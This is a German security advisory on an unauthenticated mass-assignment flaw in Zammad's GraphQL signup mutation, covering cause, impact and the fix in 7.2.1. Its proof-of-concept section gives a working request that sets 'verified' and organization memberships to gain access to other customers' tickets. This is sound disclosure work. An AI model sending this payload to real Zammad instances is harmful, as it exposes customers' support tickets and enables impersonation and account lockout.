Zammad: Anonymes Mass Assignment über die öffentliche Registrierung

Advisory-ID: TP-2026-114
Produkt: Zammad (webbasiertes Helpdesk- und Ticketsystem)
Schwachstellentyp: Mass Assignment (CWE-915)
CVE: nicht beantragt
CVSS 4.0: 9.3 (Kritisch) · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Betroffene Versionen: <= 7.2.0
Hersteller-Advisory: GHSA-79wh-8g2f-xj2c
Behoben in: 7.2.1
Gemeldet: 23. August 2026

Zusammenfassung

Zammad ist ein webbasiertes Helpdesk-System, in dem Kunden über Organisationen gruppiert sind und die Tickets ihrer Organisation sehen. Die öffentliche GraphQL-Mutation userSignup übernimmt über das Feld objectAttributeValues beliebige Spalten des neuen Benutzers, obwohl nur Vorname, Nachname, E-Mail und Passwort vorgesehen sind. Ein Angreifer ohne Konto setzt damit verified auf true und überspringt die E-Mail-Bestätigung, auch für eine Adresse, die ihm nicht gehört. Mit organization_id und organization_ids tritt dasselbe Konto in einer einzigen Anfrage jeder Organisation der Instanz bei. Das Ergebnis ist ein angemeldetes Kundenkonto, das die Tickets aller Kunden dieser Organisationen liest und darauf antwortet; das Hersteller-Advisory fasst dies mit einem zweiten Fehler zusammen, über den ein Kunde fremde Tickets seiner Organisation an sich zieht.

Ursache

Die Mutation ist mit allow_public_access! ohne Anmeldung erreichbar (app/graphql/gql/mutations/user/signup.rb:13) und reicht input.to_h ungefiltert an Service::User::Signup weiter (:20-21). Das Concern ProvidesObjectAttributeValues schreibt jeden Eintrag aus objectAttributeValues unter dem vom Client gewählten Namen in diesen Hash (app/graphql/gql/types/input/concerns/provides_object_attribute_values.rb:15), ohne ihn gegen die für die Registrierung freigegebenen Attribute zu prüfen. create_user baut den Benutzer mit User.new(user_data) (app/services/service/user/signup.rb:86) und überschreibt danach nur role_ids und source (:88-89), sodass verified, organization_id und organization_ids erhalten bleiben. Der REST-Zwilling derselben Funktion beschränkt die Eingabe dagegen auf firstname, lastname, email und password (app/controllers/users_controller.rb:892-894). Mit verified: true greift die Sperre für unbestätigte Registrierungen nicht mehr (lib/auth/backend/internal.rb:24), und weil Organisationen standardmäßig shared sind, öffnet die Mitgliedschaft alle Tickets der Organisation.

Proof of Concept

GET /                      -> Session-Cookie + csrf-token
POST /graphql              X-CSRF-Token: <csrf>

mutation($input: UserSignupInput!) {
  userSignup(input: $input) { success errors { message } }
}
{"input": {"email": "[email protected]", "password": "<passwort>",
  "firstname": "A", "lastname": "B",
  "objectAttributeValues": [
    {"name": "verified",         "value": true},
    {"name": "organization_id",  "value": 18},
    {"name": "organization_ids", "value": [1, 4, 7]}]}}

-> {"data":{"userSignup":{"success":true,"errors":null}}}

Das Konto ist sofort anmeldbar, während dieselbe Registrierung ohne verified mit 401 abgewiesen wird, und liest Tickets fremder Kunden der eingetragenen Organisationen mit 200. organization_ids darf die primäre Organisation nicht enthalten, sonst lehnt die Mutation die Anfrage ab.

Auswirkung

• Lesen aller nicht internen Artikel in Tickets sämtlicher Kunden jeder Organisation der Instanz, ohne eigenes Konto und ohne E-Mail-Zugang.
• Antworten in fremden Tickets im Namen eines angeblich bestätigten Kunden.
• Dauerhafte Blockade fremder E-Mail-Adressen: das echte Postfach kann kein eigenes Konto mehr anlegen, und eingehende Mails dieser Adresse landen beim Konto des Angreifers.
• Zusammen mit dem zweiten im Hersteller-Advisory beschriebenen Fehler die Übernahme fremder Tickets, sodass der ursprüngliche Kunde den Zugriff auf sein eigenes Ticket verliert.

Referenzen

• Hersteller-Advisory: GHSA-79wh-8g2f-xj2c
• Fix-Release: Zammad 7.2.1